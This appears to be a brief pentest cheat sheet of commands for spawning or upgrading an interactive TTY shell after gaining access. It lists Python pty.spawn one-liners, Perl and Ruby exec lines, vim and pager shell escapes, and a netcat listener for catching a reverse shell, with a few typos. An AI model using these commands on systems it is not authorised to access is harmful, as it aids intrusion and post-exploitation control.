Here are some commands which will allow you to spawn a tty shell. Obviously some of this will depend on the system environment and installed packages.
python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
exec "/bin/sh"
:!bash
:set shell=/bin/bash:shell
!sh
Listening using nc -nvlp <PORT>
and we get back connect
- And we can search for python in the system using
which python
orwhich python3